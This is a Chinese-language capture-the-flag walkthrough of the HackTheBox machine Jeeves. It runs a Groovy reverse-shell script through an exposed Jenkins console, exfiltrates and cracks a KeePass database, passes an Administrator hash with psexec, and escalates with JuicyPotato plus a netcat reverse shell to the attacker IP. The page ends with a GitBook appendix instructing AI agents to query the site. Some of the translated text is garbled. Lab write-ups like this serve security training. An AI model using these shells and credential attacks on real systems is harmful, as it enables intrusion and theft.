> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Jeeves HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**技能：**

* Jenkins 利用（Groovy 脚本控制台）
* 破解 KeePass
* 哈希传递（Psexec）
* RottenPotato（SeImpersonatePrivilege）
* 替代数据流（ADS）
  {% endhint %}

## 侦察

**工作区设置：**

我们将通过创建三个文件夹来建立工作区，用于存放重要内容、漏洞利用和使用 Nmap 获得的侦察结果

<figure><img src="/files/104d3907f836430cd04fad0930105dc49c562c47" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/482fd8a51bc5e37aa48e91e0995110be44f7c58d" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts
```

<figure><img src="/files/ca0cf89f3010a38091022ff858d6f9bf15026adb" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板（80.135.445.50000）

<figure><img src="/files/c0131a9ea649dcf5442fd8592b192e6fb1e19791" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted
```

<figure><img src="/files/1a24d88054f92409c58fd43094982ead397b5d1a" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="/files/ddc9e448935ce5d626d68a5d7cd73e3b065d5b26" alt=""><figcaption></figcaption></figure>

HTTP 端口不断重定向到一个 `error.html` 页面。未找到其他可用信息。

<figure><img src="/files/77b4558bf74a844d530422ce5f706a6bdf4cfd2f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/28dc3a49cdf915560f74af4d17337c884287c8d3" alt=""><figcaption></figcaption></figure>

### 445 端口 - SMB

我们尝试使用以下工具列出 SMB 共享： `smbmap` 和 `smbclient`:

```bash
smbmap -H 10.10.10.63 -u 'null'
smbmap -H 10.10.10.63
```

```bash
smbclient -L 10.10.10.63 -N
```

然而，会话因以下错误而失败：

```
session setup failed: NT_STATUS_ACCESS_DENIED
```

我们使用 `crackmapexec` 以收集机器信息：

```bash
crackmapexec smb 10.10.10.63
```

结果：

* **操作系统** : Windows 10 Pro 10586 x64
* **机器名**: JEEVES
* **域**: Jeeves

<figure><img src="/files/32aae7688c87e221cd1ef238450587d0145f4e45" alt=""><figcaption></figcaption></figure>

### **50000 端口 - Jenkins**

<figure><img src="/files/79a3d1261cac6b263df520dc1e94971861dc3a91" alt=""><figcaption></figcaption></figure>

我们使用以下命令启动目录扫描： `gobuster` 以探索 HTTP 服务的内容：

```bash
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

我们发现目录 **/askjeeves**

<figure><img src="/files/ae3edbf6fc3dadf54c3497e2c2acd3de322e083c" alt=""><figcaption></figcaption></figure>

### CMS - Jenkins

<figure><img src="/files/2af70651d4e7c8a95b570e5ebd100e917cc41e60" alt=""><figcaption></figcaption></figure>

**Jenkins - Groovy 脚本执行**

该 Jenkins CMS 可访问，并且 **Script Console** 选项已启用，使我们能够运行 Groovy 脚本。

<figure><img src="/files/766029171725e8eaee416aab5adeef99204a30ad" alt=""><figcaption></figcaption></figure>

用于测试执行的示例命令：

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/e01aed291e6a423a38be508637bfc153fa34bd9b" alt=""><figcaption></figcaption></figure>

### **利用**

#### **通过 Groovy 脚本控制台获得反向 Shell**

为获取远程访问，我们按如下步骤进行：

1. /*/* 在我们的机器上监听 443/ 端&#x53E3;*/*:

```bash
rlwrap nc -nvlp 443
```

2. /*/* 在 Groovy/ 中运行以下脚&#x672C;*/* 控制台中建立反向 shell：

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/43fb67a368d7ff594ece393d4c0267733888247a" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/839bbc7a675b34fa6f4715af2643e7b65b8e771c" alt=""><figcaption></figcaption></figure>

## **权限提升**

## **方法 1：破解 Keepass 文件**

在 **文档** 用户的目录 **Kosure**，我们找到一个带有 **.kdbx** 扩展名的文件（Keepass 文件）。

<figure><img src="/files/8682d28074b5a29b61dfa78ad4d55558e89ef50c" alt=""><figcaption></figcaption></figure>

/*/* 将 Keepass 文件传输到我们的主机/*/*/ 我们在 Linux 机器上创建一个 SMB 服务器来传输该文件。为此我们使用 `smbserver.py`:

```bash
smbserver.py share $(pwd) -smb2support
```

**从 Windows 传输**/ 从 Windows 机器上，我们复制 **CEH.kdbx** 文件到我们的主机：

```powershell
copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/
```

<figure><img src="/files/72d34033ab1ef24eb3992fba7e1163d35ab227a5" alt=""><figcaption></figcaption></figure>

### **KDBX 文件哈希提取**

为了从 **KDBX** 文件中提取哈希，我们使用 **keepass2john** 工具，它属于 **John the Ripper**:

```bash
keepass2john CEH.kdbx
```

<figure><img src="/files/aa62824e6bad33f6612ac872dd4388fc1463e9a8" alt=""><figcaption></figcaption></figure>

### **哈希破解**

我们使用 **John the Ripper** 使用 **rockyou 密码列表.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

发现的密码是：

* `moonshine1`

<figure><img src="/files/89dc60c74bce143db15f498e4b3e82d096d461e1" alt=""><figcaption></figcaption></figure>

### **Keepass 内容可视化**

我们使用 **KeepassXC** 以打开并查看 **Keepass**

<figure><img src="/files/bac339f9fd59656f0e83f7bd295f346ed829a640" alt=""><figcaption></figcaption></figure>

输入 **moonshine1** 密码后，我们可访问多个密码，其中包括用户的一个 NTLM v2 哈希 **Administrator**:

<figure><img src="/files/bac339f9fd59656f0e83f7bd295f346ed829a640" alt=""><figcaption></figcaption></figure>

```bash
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
```

#### /*/* 使用 CrackMapExec 对 NTLM v2 哈希进行审计/*/*

我们检查该哈希是否对应某个账户 **Administrator** 替换为 **CrackMapExec**:

```bash
crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'
```

该哈希有效，现在我们可以执行攻击 **哈希传递**.

<div data-full-width="true"><figure><img src="/files/e35a10f3eb1ca820699d727454473a1f4fa99fa8" alt=""><figcaption></figcaption></figure></div>

### **传递哈希 - PsExec**

我们使用 **PsExec** 使用发现的 NTLM v2 连接到目标机器。这赋予我们管理员权限

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

我们现在已拥有管理员的完全访问权限。

<figure><img src="/files/b47744d4804c578e1d9eb003e80a03b0f72eeb8d" alt=""><figcaption></figcaption></figure>

## **方法 2：利用 SeImpersonatePrivilege 权限**

我们发现该用户拥有 `SeImpersonatePrivilege` 权限，使其容易受到某些提权技术的影响。以下命令可确认该权限的存在：

```bash
whoami /priv
```

<figure><img src="/files/8544f4386adf1fd3ce24238d6c2663339ccafdee" alt=""><figcaption></figcaption></figure>

为了利用此漏洞，我们将使用 **JuicyPotato**，这是一个在 Windows 环境中滥用该权限的知名工具。

**下载所需工具**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**启动一个 SmbFolder** 服务器，在我们的攻击机上提供这些文件：

```bash
smbserver.py share $(pwd) -smb2support
```

**将文件传输到目标机器** 列出文件内容，使用 `Invoke-WebRequest`:

<pre class="language-powershell"><code class="lang-powershell"><strong>copy //10.10.14.9/share/JP.exe
</strong>copy //10.10.14.9/share/nc64.exe
</code></pre>

<figure><img src="/files/8a22e4688d7f949ea9bcfc0f331a3471de1b7965" alt=""><figcaption></figcaption></figure>

**执行 JuicyPotato 进行提权**

我们现在将运行 JuicyPotato 以获得高权限会话。以下命令启动 JuicyPotato，它会运行 `cmd.exe` 并以高权限启动，然后通过 Netcat 与我们的攻击机建立连接：

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234"
```

**登录到高权限会话**

为了拦截连接，我们监听 1234 端口：

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/2246c088483a078f33233762185e388e3d327255" alt=""><figcaption></figcaption></figure>

## 根标志 - ADS

> 替代数据流（ADS）是 **NTFS** Windows 文件系统中的一项功能，它允许将多个数据流关联到单个文件。这些附加流可能包含在传统文件检查中不可见的隐藏信息。我们将利用此功能来发现 **root flag**.

<figure><img src="/files/916df840ae08c2d42766c7ea4b9e1a19596cc2f8" alt=""><figcaption></figcaption></figure>

#### **1. 检查替代数据流（ADS）**

我们首先检查 **hm.txt** 位于用户桌面上的文件 **Administrator** 是否包含替代数据流。为此，我们使用以下命令：

```bash
dir /r C:/Users/Administrator/Desktop/hm.txt
```

该命令列出与 **hm.txt** 文件相关联的所有替代数据流。如果存在替代数据流，它将被显示。

<figure><img src="/files/b7744b7262bd5f1eb8c6d29d9925c12873f7d69b" alt=""><figcaption></figcaption></figure>

#### **2. 查看替代数据流的内容**

如果我们找到与该文件关联的替代数据流，可以使用以下命令显示其内容：

```powershell
more < C:/Users/Administrator/Desktop/hm.txt:root.txt
```

这使我们能够读取 **root.txt** 流的内容并恢复 **root flag :)**

<figure><img src="/files/48d55a6638521ca9ffc4fc31ceb61c1b2d122c27" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2938ef971974a2e61baef40f261fa82749914cff" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
